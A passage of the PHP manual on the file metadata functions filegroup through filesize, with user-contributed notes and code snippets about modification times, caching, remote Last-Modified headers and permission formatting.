        echo  "File name: $file - Date Added: $date. <br/>"";
    }

}
?>

I hope this is useful to somebody.
gyrbo[at]yahoo[dot]com 21-Sep-2002 04:35
filectime doesn't seem to be working properly on Win32 systems (it seems to return the creation time). Try using filemtime if you have problems.
laurent dot pireyn at wanadoo dot be 27-Sep-2001 05:01
If you use filectime with a symbolic link, you will get the change time of the file actually linked to. To get informations about the link self, use lstat.
fileatime
filegroup
Filesystem Functions


Gets file group

filectime
fileinode
Filesystem Functions
PHP Manual

filegroup

(PHP 4, PHP 5)

filegroup — Gets file group

Description

int filegroup ( string $filename )

Gets the file group. The group ID is returned in numerical format, use posix_getgrgid() to resolve it to a group name.

Parameters

filename

Path to the file.

Return Values

Returns the group ID of the file, or FALSE if an error occurs. The group ID is returned in numerical format, use posix_getgrgid() to resolve it to a group name. Upon failure, FALSE is returned.

Examples

Example #1 Finding the group of a file

<?php
$filename = 'index.php';
print_r(posix_getgrgid(filegroup($filename)));
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • fileowner() - Gets file owner
  • posix_getgrgid() - Return info about a group by group id
  • safe_mode_gid

User Contributed Notes

There are no user contributed notes for this page.
filectime
fileinode
Filesystem Functions


Gets file inode

filegroup
filemtime
Filesystem Functions
PHP Manual

fileinode

(PHP 4, PHP 5)

fileinode — Gets file inode

Description

int fileinode ( string $filename )

Gets the file inode.

Parameters

filename

Path to the file.

Return Values

Returns the inode number of the file, or FALSE on failure.

Examples

Example #1 Comparing the inode of a file with the current file

<?php
$filename = 'index.php';
if (getmyinode() == fileinode($filename)) {
    echo 'You are checking the current file.';
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • getmyinode() - Gets the inode of the current script
  • stat() - Gives information about a file

User Contributed Notes

meltir at meltir dot com dot nothing 26-Nov-2007 01:02
keep in mind that this function is prone to an overflow, and on big filesystems it will return negative values.
pixel20 at wp dot pl 04-Oct-2007 12:48
Sample function that generates apache 2.2 ETag. Useful for scripts serving images or other cachable data.

$file="example.png";

// Inode
$ETag = dechex(fileinode($file));
// Size
$ETag.= "-".dechex(filesize($file));
// Modification time in useconds & (2^33-1)
$ETag.= "-".dechex(((filemtime($file).str_repeat("0",6)+0) & (8589934591)));

header("ETag: \"$ETag\");
mark nearby techexplained dot com 06-Jan-2005 09:37
This function, in spite of its name, also works for directories. Most any valid path in the filesystem will generate an inode value.
filegroup
filemtime
Filesystem Functions


Gets file modification time

fileinode
fileowner
Filesystem Functions
PHP Manual

filemtime

(PHP 4, PHP 5)

filemtime — Gets file modification time

Description

int filemtime ( string $filename )

This function returns the time when the data blocks of a file were being written to, that is, the time when the content of the file was changed.

Parameters

filename

Path to the file.

Return Values

Returns the time the file was last modified, or FALSE on failure. The time is returned as a Unix timestamp, which is suitable for the date() function.

Examples

Example #1 filemtime() example

<?php
// outputs e.g.  somefile.txt was last modified: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last modified: " . date ("F d Y H:i:s.", filemtime($filename));
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filectime() - Gets inode change time of file
  • stat() - Gives information about a file
  • touch() - Sets access and modification time of file
  • getlastmod() - Gets time of last page modification

User Contributed Notes

Will Davies Vasconcelos 17-Feb-2011 10:22
Here is a handy script to create a csv file with file names and the date when files in a given folder were inserted:

<?php
  header("Pragma: public");
  header("Cache-Control: private");
  header("Content-Type: text/csv");
  header("Content-Disposition: attachment; filename=age-of-files.csv");

  $result = array();
  $handle =  opendir(".");
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = "./".$datei;
               if (!is_dir($file))
                    $result[] = $file;
          }
     }
     closedir($handle);
  foreach($result as $r)
    if (file_exists($r))
      echo substr($r,2).",".date ("m/d/Y", filemtime($r))."\r\n";
?>
myselfasunder at gmail dot XYZ dot com 31-Oct-2010 02:02
There's a deeply-seated problem with filemtime() under Windows due to the fact that it calls Windows' stat() function, which implements DST (according to this bug: http://bugs.php.net/bug.php?id=40568). The detection of DST on the time of the file is confused by whether the CURRENT time of the current system is currently under DST.

This is a fix for the mother of all annoying bugs:

<?php
function GetCorrectMTime($filePath)
{

    $time = filemtime($filePath);

    $isDST = (date('I', $time) == 1);
    $systemDST = (date('I') == 1);

    $adjustment = 0;

    if($isDST == false && $systemDST == true)
        $adjustment = 3600;

    else if($isDST == true && $systemDST == false)
        $adjustment = -3600;

    else
        $adjustment = 0;

    return ($time + $adjustment);
}
?>

Dustin Oprea
erelsgl at gmail dot com 07-Jun-2010 01:08
Cheaper and dirtier way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

$filemtime = @filemtime($cache_file);  // returns FALSE if file does not exist
if (!$filemtime or (time() - $filemtime >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
dagger80 07-Apr-2010 12:22
Also on 32-bit systems, filemtime() also does not work for files with modification time set beyond Jan 2038. It is the dreaded time_t overflow bug for unix seconds.

On windows you can set the system time to any arbitrary future date, and any new files you created or edited will automatically change to that future date.

If exec isn't permitted for some reason, and if you could access the file via an web url (e.g. http://localhost/yourfile.txt), another workaround is to get the Last-Modified time from the HTTP headers (e.g. get_headers(url) ), and parse it as a DateTime object.

I have tested it and it works for years like 2050 and 3012.
Tom 25-Feb-2010 02:45
I was looking at using filemtime() as part of a browser cache busting technique for css/js/image files and was considering whether caching the mtime using memcache would be beneficial to prevent multiple file system calls.

1000 filemtime() calls (including clearing the stat cache between calls) vs. 1000 memcache reads. filemtime() is significantly faster.

1000 filemtime() took: 0.004787
1000 memcache took: 0.075099
_michael 01-Feb-2010 11:09
While testing on Windows, I noticed that the precision of filemtime is just 1 second.

So if you use clearstatcache() and filemtime() to check if a file has been modified, it might fail to detect the change. The modifications just have to happen within less than a second.

(I ran into this with Apache on Windows XP.)
post at romcke dot no 31-Jan-2010 04:45
I spent some time wondering why I got the "stat failed", but it was simply due to the fact that I fed the function relative paths. Paths need to be absolute.

The simplest things...
Nilo 10-Jan-2010 11:01
Cheap and dirty way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

if (!file_exists($cache_file) or (time() - filemtime($cache_file) >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
james dot schafer at gotalk dot net dot au 16-Dec-2009 01:36
On the Windows system filectime() returns the creation time. To find the changed time use fileatime() or filemtime().
contacto at hardcode dot com dot ar 31-Aug-2009 08:03
when working with swf files (flash animations), there is a nice way to avoid the browser cache. i used to do this by hand, then i used a random number, but with large animations while working online, it gets boring because the server always downloads the whole animation, even if there was no change.
but...

this will do the trick

base.swf?rand=<?php echo filemtime("base.swf") ?>

<embed src="base.swf?rand=<?php echo filemtime("base.swf") ?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="1680" height="1050">
Anonymous 19-Aug-2009 03:52
Please note that many of the functions below that people have provided to get files modified after a certain time in a directory will NOT get all files on a Windows operating system.

If you copy and paste any file inside the folder or into the folder from another folder (such as images that may be used but aren't going to be modified right away), the modified time is not updated on these copied files, only the creation time.

You need to use filectime with filemtime to assure you get copied files that aren't modified but are obviously new.
info at daniel-marschall dot de 22-Jun-2009 03:59
It could be useful to determinate the timestamp of the newest file in a directory. (e.g. if you want to find out when the last change was made to your project).

Following function will help you:

<?php

function getAllFiles($directory, $recursive = true) {
     $result = array();
     $handle =  opendir($directory);
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = $directory.$datei;
               if (is_dir($file)) {
                    if ($recursive) {
                         $result = array_merge($result, getAllFiles($file.'/'));
                    }
               } else {
                    $result[] = $file;
               }
          }
     }
     closedir($handle);
     return $result;
}

function getHighestFileTimestamp($directory, $recursive = true) {
     $allFiles = getAllFiles($directory, $recursive);
     $highestKnown = 0;
     foreach ($allFiles as $val) {
          $currentValue = filemtime($val);
          if ($currentValue > $highestKnown) $highestKnown = $currentValue;
     }
     return $highestKnown;
}

// Use example

echo 'The newest file has the time stamp:<br>';
echo date('Y-m-d H:i:s', getHighestFileTimestamp('../'));

?>
javi at live dot com 02-Feb-2009 03:22
Filemtime seems to return the date of the EARLIEST modified file inside a folder, so this is a recursive function to return the date of the LAST (most recently) modified file inside a folder.

<?php

// Only take into account those files whose extensions you want to show.
$allowedExtensions = array(
  'zip',
  'rar',
  'pdf',
  'txt'
);

function filemtime_r($path)
{
    global $allowedExtensions;

    if (!file_exists($path))
        return 0;

    $extension = end(explode(".", $path));
    if (is_file($path) && in_array($extension, $allowedExtensions))
        return filemtime($path);
    $ret = 0;

     foreach (glob($path."/*") as $fn)
     {
        if (filemtime_r($fn) > $ret)
            $ret = filemtime_r($fn);
            // This will return a timestamp, you will have to use date().
     }
    return $ret;
}

?>
kbrobst at surveyresearchpartners dot com 30-Mar-2008 08:56
I created an application which stores files as blobs in a database, and retrieves them upon user request (into a webDAV-enabled area).  The files are touched so that they have the correct timestamp information after being retrieved.  After the user is done making any alterations, a script runs that checks for changes in the files (including timestamps).

It appears that working with timestamps on files under Windows systems (XP/Server 2003) is a problem, because the timestamp on files, for example, will toggle between 1pm and 2pm depending on the age of the file and if it is DST or not.

Try this experiment:

$timestamp_str = "2005.02.06 14:45:33";
$timestamp_pieces=split('[. :]',$timestamp_str);
$timestamp=mktime($timestamp_pieces[3], $timestamp_pieces[4], $timestamp_pieces[5], $timestamp_pieces[1], $timestamp_pieces[2], $timestamp_pieces[0]);
touch("c:\\timestamp_test.txt",$timestamp);

The file timestamp_test.txt shows up in the operating system as having a modification date of "Sunday, February 06, 2005, 2:45:33 PM" - which is the desired result.

But now look at the results of filemtime (only when in DST - it will report the correct timestamp during standard time):

$compare_timestamp=filemtime("c:\\timestamp_test.txt");
$compare_timestamp_str = date("Y.m.d H:i:s",$compare_timestamp);
echo "$timestamp ($timestamp_str) is the original timestamp.<br />\n";
echo "$compare_timestamp ($compare_timestamp_str) is the timestamp on the file.<br />\n";

The output looks like this:

1107726333 (2005.02.06 14:45:33) is the original timestamp.
1107722733 (2005.02.06 13:45:33) is the timestamp on the file.

The filemtime function reports a timestamp different from what the OS reports.  You'll likely need to code around this issue if you are attempting something similar - because this is not a PHP bug but a "Microsoft feature".
geeks at geekman dot info 17-Feb-2008 09:01
This is a very handy function for dealing with browser caching. For example, say you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a pain in the ass. Instead, you can do this:

<?php
echo '<link rel="stylesheet" type="text/css" href="style.css?' . filemtime('style.css') . '" />';
?>

Sample output:

<link rel="stylesheet" type="text/css" href="style.css?1203291283" />

By appending a GET value (the UNIX timestamp) to the stylesheet URL, you make the browser think the stylesheet is dynamic, so it'll reload the stylesheet every time the modification date changes.
solarijj at gmail dot com 08-Mar-2007 12:02
To get the modification date of some remote file, you can use the fine function by notepad at codewalker dot com (with improvements by dma05 at web dot de and madsen at lillesvin dot net).

But you can achieve the same result more easily now with stream_get_meta_data (PHP>4.3.0).

However a problem may arise if some redirection occurs. In such a case, the server HTTP response contains no Last-Modified header, but there is a Location header indicating where to find the file. The function below takes care of any redirections, even multiple redirections, so that you reach the real file of which you want the last modification date.

hih,
JJS.

<?php

// get remote file last modification date (returns unix timestamp)
function GetRemoteLastModified( $uri )
{
    // default
    $unixtime = 0;

    $fp = fopen( $uri, "r" );
    if( !$fp ) {return;}

    $MetaData = stream_get_meta_data( $fp );

    foreach( $MetaData['wrapper_data'] as $response )
    {
        // case: redirection
        if( substr( strtolower($response), 0, 10 ) == 'location: ' )
        {
            $newUri = substr( $response, 10 );
            fclose( $fp );
            return GetRemoteLastModified( $newUri );
        }
        // case: last-modified
        elseif( substr( strtolower($response), 0, 15 ) == 'last-modified: ' )
        {
            $unixtime = strtotime( substr($response, 15) );
            break;
        }
    }
    fclose( $fp );
    return $unixtime;
}
?>
bastiaan nelissen 21-Dec-2006 06:20
"This function returns the time when the data blocks of a file were being written to, that is, the time when the content of the file was changed."

Well, the content of the file does not need to 'change'. Saving  file content without changes will be enough.

Understanding this helped me.
Benan Tumkaya (benantumkaya at yahoo) 14-Aug-2006 02:11
Here is a small but handy script that you can use to find which files in your server are modified after a  date/time that you specify. This script will go through all folders in the specified directory recursively and echo the modified files with the last modified date/time...

//Starts Here
//Put here the directory you want to search for. Put / if you want to search your entire domain
$dir='/';

//Put the date you want to compare with in the format of:  YYYY-mm-dd hh:mm:ss
$comparedatestr="2006-08-12 00:00:00";
$comparedate=strtotime($comparedatestr);

//I run the function here to start the search.
directory_tree($dir,$comparedate);

//This is the function which is doing the search...
function directory_tree($address,$comparedate){

 @$dir = opendir($address);

  if(!$dir){ return 0; }
        while($entry = readdir($dir)){
                if(is_dir("$address/$entry") && ($entry != ".." && $entry != ".")){
                        directory_tree("$address/$entry",$comparedate);
                }
                 else   {

                  if($entry != ".." && $entry != ".") {

                    $fulldir=$address.'/'.$entry;
                    $last_modified = filemtime($fulldir);
                    $last_modified_str= date("Y-m-d h:i:s", $last_modified);

                       if($comparedate < $last_modified)  {
                          echo $fulldir.'=>'.$last_modified_str;
                          echo "<BR>";
                       }

                 }

            }

      }

}
csnyder at chxo dot com 11-Aug-2006 08:59
If PHP's integer type is only 32 bits on your system, filemtime() will fail on files over 2GB with the warning "stat failed". All stat()-related commands will exhibit the same behavior.

As a workaround, you can call the system's stat command to get the modification time of a file:

On FreeBSD:
$mtime = exec ('stat -f %m '. escapeshellarg ($path));

On Linux:
$mtime = exec ('stat -c %Y '. escapeshellarg ($path));

Thanks to "mpb dot mail at gmail dot com" for his/her similar comment on stat().
madsen at lillesvin dot net 25-Sep-2005 03:39
There are a couple of things to point out about the otherwise great example posted by "notepad at codewalkers dot com".

First of all, as "dma05 at web dot de" pointed out, use HEAD instead of GET - that's being nice to your fellow man.

Second, it will only allow communication on port 80. That can easilly be solved.

<?php
function remote_filemtime($url)
{
    $uri = parse_url($url);
    $uri['port'] = isset($uri['port']) ? $uri['port'] : 80;
    $handle = @fsockopen($uri['host'], $uri['port']);
    // ...
}
?>

But hey, thanks a lot for the function! I've really had great use of it.
dma05 at web dot de 23-Apr-2005 02:25
concerning "notepad at codewalkers dot com"'s code:

this code is pretty neat, but i just wanted to note that using the "HEAD"-method instead of the "GET"-method in the http-request might be preferrable, since then not the whole resource is being downloaded...

http/1.1 definiton snippet:
Section "9.4 HEAD"

 The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request. This method can be used for obtaining metainformation about the entity implied by the request without transferring the entity-body itself. This method is often used for testing hypertext links for validity, accessibility, and recent modification. [...]
-- snippet end ---

the code would then be...:

-- snippet ---
fputs($handle,"HEAD $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
-- snippet end ---

regards, Magnus
notepad at codewalkers dot com 11-Mar-2005 01:53
i needed the ability to grab the mod time of an image on a remote site. the following is the solution with the help of Joe Ferris.

<?php

function filemtime_remote($uri)
{
    $uri = parse_url($uri);
    $handle = @fsockopen($uri['host'],80);
    if(!$handle)
        return 0;

    fputs($handle,"GET $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
    $result = 0;
    while(!feof($handle))
    {
        $line = fgets($handle,1024);
        if(!trim($line))
            break;

        $col = strpos($line,':');
        if($col !== false)
        {
            $header = trim(substr($line,0,$col));
            $value = trim(substr($line,$col+1));
            if(strtolower($header) == 'last-modified')
            {
                $result = strtotime($value);
                break;
            }
        }
    }
    fclose($handle);
    return $result;
}
// echo filemtime_remote('http://www.somesite.com/someimage.jpg');

?>
habazi at yahoo dot com 21-Feb-2005 10:13
"this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories)."

This is not (necessarily) correct either. In *nix the timestamp can be independently set. For example the command "touch directory" updates the timestamp of a directory without file creation.

Also file removal will update the timestamp of a directory.
09-Dec-2004 08:30
A comment below states

  "When using this function to get the modified date of a directory,
   it returns the date of the file in that directory that was last modified."

this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories).
aidan at php dot net 25-Oct-2004 05:42
If you're looking to convert timestamps to a duration, for example "10" to "10 seconds", or "61" to "1 minute 1 second", try the Duration class.

http://aidanlister.com/repos/v/Duration.php
adam at roomvoter dot com 01-May-2004 01:42
The snippet of code earlier that allows you to delete all files older than 2 weeks uses the function (filemtime) - which checks the original create date of the file (filesystem independent).  You MAY want to use filectime() - that looks at when the file was last changed on YOUR file system.

        if (is_dir("$path") )
        {
           $handle=opendir($path);
           while (false!==($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   $Diff = (time() - filectime("$path/$file"))/60/60/24;
                   if ($Diff > 14) unlink("$path/$file");

               }
           }
           closedir($handle);
        }
wookie at at no-way dot org 14-Sep-2003 02:17
Another little handy tool; to get the most recent modified time from files in a directory. It even does recursive directories if you set the $doRecursive param to true. Based on a file/directory list function I saw somewhere on this site. ;)

function mostRecentModifiedFileTime($dirName,$doRecursive) {
    $d = dir($dirName);
    $lastModified = 0;
    while($entry = $d->read()) {
        if ($entry != "." && $entry != "..") {
            if (!is_dir($dirName."/".$entry)) {
                $currentModified = filemtime($dirName."/".$entry);
            } else if ($doRecursive && is_dir($dirName."/".$entry)) {
                $currentModified = mostRecentModifiedFileTime($dirName."/".$entry,true);
            }
            if ($currentModified > $lastModified){
                $lastModified = $currentModified;
            }
        }
    }
    $d->close();
    return $lastModified;
}
paranoid at dds dot nl 05-Jun-2003 05:43
To get the last modification time of a directory, you can use this:

<pre>
$getLastModDir = filemtime("/path/to/directory/.");
</pre>

Take note on the last dot which is needed to see the directory as a file and to actually get a last modification date of it.

This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account.

Regards,
Frank Keijzers
thomas at NOSPAM dot gutschke dot com 07-Apr-2003 05:00
Here's a little code snippet if you need the last-modified-time for a remote file as filemtime() does not work on those. :)

<?php
$modified = "";
function read_header($ch, $header)
{
    global $modified;
    $length = strlen($header);
    if(strstr($header, "Last-Modified:"))
    {
        $modified = substr($header, 15);
    }
    return $length;
}

function last_mod($remote_file)
{
    global $modified;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $remote_file);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_NOBODY, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, 'read_header');

    $headers = curl_exec ($ch);
    curl_close ($ch);
    return $modified;
}
?>

use something like
    <?php echo strtotime(last_mod("http://www.php.net/")); ?>
to get the time as an Unix timestamp or
    <?php echo last_mod("http://www.php.net/"); ?>
to get the gmdate()-like time.
laurent dot pireyn at wanadoo dot be 27-Sep-2001 05:00
If you use filemtime with a symbolic link, you will get the modification time of the file actually linked to. To get informations about the link self, use lstat.
23-Aug-2001 07:08
When using this function to get the modified date of a directory, it returns the date of the file in that directory that was last modified.
jay at fudge dot org 29-Jun-1999 01:55
If you want this functionality for the parent web page you should use getlastmod()
i.e.
<?php echo "Last modified: ".date( "F d Y H:i:s.", getlastmod() ); ?>
within the included page... i.e. as a commont footer include for all pages
gerardj at home dot com 19-May-1999 08:27
The above code works fine if you place it on each page you want a date stamp on.  I've found that if you place a reference such as filemtime(__FILE__) in an included or required file, that the modification time of the inherited file will be returned, not the time of the file that did the ineriting.
fileinode
fileowner
Filesystem Functions


Gets file owner

filemtime
fileperms
Filesystem Functions
PHP Manual

fileowner

(PHP 4, PHP 5)

fileowner — Gets file owner

Description

int fileowner ( string $filename )

Gets the file owner.

Parameters

filename

Path to the file.

Return Values

Returns the user ID of the owner of the file, or FALSE on failure. The user ID is returned in numerical format, use posix_getpwuid() to resolve it to a username.

Examples

Example #1 Finding the owner of a file

<?php
$filename = 'index.php';
print_r(posix_getpwuid(fileowner($filename)));
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filegroup() - Gets file group
  • stat() - Gives information about a file
  • posix_getpwuid() - Return info about a user by user id

User Contributed Notes

dazoe 27-Jun-2010 07:21
Remember to use if(fileowner(...) === FALSE) instead of if(!fileowner()) or if(fileowner() == FLASE) because if the owner was "root" it would return 0.
joacorck at gmail dot com 26-Feb-2007 05:20
This function only works if the permissions are more less than 666
29-Jan-2006 04:58
Small note: the function resolves symbolic links. That is, if the link is created by user 999 and maps to a file owned by user 666, this function returns 666 :(
filemtime
fileperms
Filesystem Functions


Gets file permissions

fileowner
filesize
Filesystem Functions
PHP Manual

fileperms

(PHP 4, PHP 5)

fileperms — Gets file permissions

Description

int fileperms ( string $filename )

Gets permissions for the given file.

Parameters

filename

Path to the file.

Return Values

Returns the file's permissions as a numeric mode of the same format as that expected by chmod(), or FALSE on failure.

Examples

Example #1 Display permissions as an octal value

<?php
echo substr(sprintf('%o', fileperms('/tmp')), -4);
echo substr(sprintf('%o', fileperms('/etc/passwd')), -4);
?>

The above example will output:

1777
0644

Example #2 Display full permissions

<?php
$perms = fileperms('/etc/passwd');

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

echo $info;
?>

The above example will output:

-rw-r--r--

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • chmod() - Changes file mode
  • is_readable() - Tells whether a file exists and is readable
  • stat() - Gives information about a file

User Contributed Notes

fmaz008 at gmail dot com 15-Dec-2010 02:19
If you want to test if a file have the permission requirement (let say prior to do a chmod, avoiding doing useless chmod), you can do this:

<?php
$wantedPerms = 0644;
$actualPerms = fileperms($file);
if($actualPerms < $wantedPerms)
    chmod($file, $wantedPerms);
?>
sviscaino123 at hotmail dot fr 15-Jun-2010 12:22
Here is a small function I made : http://pastebin.com/iKky8Vtu
I was bored and I thought it could be useful.

mixed mkperms( string $perms [, bool return_as_string = false [, string $filename ] ] )
Returns permissions given a string in literal format and a filename.
If the file name is omitted, the permissions that the function will return are based on 000-permissions.
If return_as_string is set to true, the result will be output as a 644 format string. Otherwise it will return a string converted to base-10 for chmod.

Examples:

<?php
echo mkperms('u+r', true), "\n"; // 400
echo mkperms('u+rwx,g+rw,o+x', true), "\n"; // 761

touch('myfile.txt'); // Create a file with any permissions
chmod('myfile.txt', mkperms('u=rwx,g=x,o=rw')); // myfile.txt is now at -rwx--xrw-

// Make a file and give it full permissions
touch('somefile.txt');
chmod('somefile.txt', 0777);
echo mkperms('g-w,o-rw', true, 'somefile.txt'); // 751
echo mkperms('u=rwx,g-r,o=-', true, 'somefile.txt'); // 730
// This way you can apply permissions to files
chmod('somefile.txt', mkperms('u=rwx,g-r,o=-', false, 'somefile.txt')); // somefile.txt is now at -rwx-wx---
?>

PS : sorry I had to put it on pastebin, or else it just made the note way too long.
jchris dot fillionr at kitware dot com 02-Apr-2009 02:11
Since the output of decoct( fileperms('.') ) is of the form: 40644

It seems the previous example is wrong, instead you should understand:

To get permissions formatted as "644":
<?php
echo substr(decoct( fileperms('.') ), 2);
?>

To get permissions formatted  as "0644":
<?php
echo substr(decoct( fileperms('.') ), 1);
?>
MartinAngermeier at gmx dot net 29-Oct-2008 12:37
An easy way to calculate fileperms to chmod is this:

substr(decoct(fileperms("test.html")),3);

Displays 666 or 777 (depends on chmod set).

substr(decoct(fileperms("test.html")),2);

Displays 0666 or 0777 and refers immediately to the number set with chmod();
eelco 10-Jul-2007 02:21
If you only want the permissions (lowest three octal numbers) you can use a bitwise AND to mask the bits:

<?php
fileperms($file) & 511;
?>
paul2712 at gmail dot com 02-Jun-2007 09:08
Do not forget: clearstatcache();
==============================

When ever you make a:

mkdir($dstdir, 0770 ))

or a:

chmod($dstdir, 0774 );

You have to call:

clearstatcache();

before you can call:

fileperms($dstdir);
chinello at gmail dot com 24-Apr-2007 09:43
On Linux (not tested on Windows), if you want a chmod-like permissions, you can use this function:

<?php
function file_perms($file, $octal = false)
{
    if(!file_exists($file)) return false;

    $perms = fileperms($file);

    $cut = $octal ? 2 : 3;

    return substr(decoct($perms), $cut);
}
?>

Using it:

$ touch foo.bar
$ chmod 0754 foo.bar
<?php
echo file_perms('foo.bar'); // prints: 754
echo file_perms('foo.bar', true); // prints 0754
?>
fileowner
filesize
Filesystem Functions


Gets file size

fileperms
filetype
Filesystem Functions
PHP Manual

filesize

(PHP 4, PHP 5)

filesize — Gets file size

Description

int filesize ( string $filename )

Gets the size for the given file.

Parameters

filename

Path to the file.

Return Values

Returns the size of the file in bytes, or FALSE (and generates an error of level E_WARNING) in case of an error.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Examples

Example #1 filesize() example

<?php

// outputs e.g.  somefile.txt: 1024 bytes

$filename = 'somefile.txt';
echo $filename . ': ' . filesize($filename) . ' bytes';

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • file_exists() - Checks whether a file or directory exists

User Contributed Notes

yatsynych at gmail dot com 19-Dec-2011 10:13
<?php
function _format_bytes($a_bytes)
{
    if ($a_bytes < 1024) {
        return $a_bytes .' B';
    } elseif ($a_bytes < 1048576) {
        return round($a_bytes / 1024, 2) .' KiB';
    } elseif ($a_bytes < 1073741824) {
        return round($a_bytes / 1048576, 2) . ' MiB';
    } elseif ($a_bytes < 1099511627776) {
        return round($a_bytes / 1073741824, 2) . ' GiB';
    } elseif ($a_bytes < 1125899906842624) {
        return round($a_bytes / 1099511627776, 2) .' TiB';
    } elseif ($a_bytes < 1152921504606846976) {
        return round($a_bytes / 1125899906842624, 2) .' PiB';
    } elseif ($a_bytes < 1180591620717411303424) {
        return round($a_bytes / 1152921504606846976, 2) .' EiB';
    } elseif ($a_bytes < 1208925819614629174706176) {
        return round($a_bytes / 1180591620717411303424, 2) .' ZiB';
    } else {
        return round($a_bytes / 1208925819614629174706176, 2) .' YiB';
    }
}
?>
webmaster at sebastiangrinke dot info 04-Dec-2011 07:32
Here a little function which provides automated units^^

<?php
function calc_size($path,$size=0,$unit='a',$length=2){
    if(!is_dir($path)){$size+=filesize($path);}
    else{
      $dir = opendir($path);
      while($f = readdir($dir)){
        if(is_file($path.DS.$f)){$size+=filesize($path.DS.$f);}
        elseif(is_dir($path.DS.$f) AND $f!='.' AND $f!='..'){$size=calc_size($path.DS.$f,$size,'',0);}
      }
    }
    if($unit==''){return $size;}
    elseif($unit=='b' XOR $unit=='a' AND strlen($size) < 4){return number_format($size,$length,',','').' <span title="Byte">Byte</span>';}
    elseif($unit=='kb' XOR $unit=='a' AND strlen($size) < 7){return number_format(($size/1024),$length,',','').' <span title="Kilobyte">KiB</span>';}
    elseif($unit=='mb' XOR $unit=='a' AND strlen($size) < 10){return number_format(($size/1024/1024),$length,',','').' <span title="Megabyte">MiB</span>';}
    elseif($unit=='gb' XOR $unit=='a' AND strlen($size) < 13){return number_format(($size/1024/1024/1024),$length,',','').' <span title="Gigabyte">GiB</span>';}
    elseif($unit=='tb' XOR $unit=='a' AND strlen($size) < 16){return number_format(($size/1024/1024/1024/1024),$length,',','').' <span title="Terabyte">TiB</span>';}
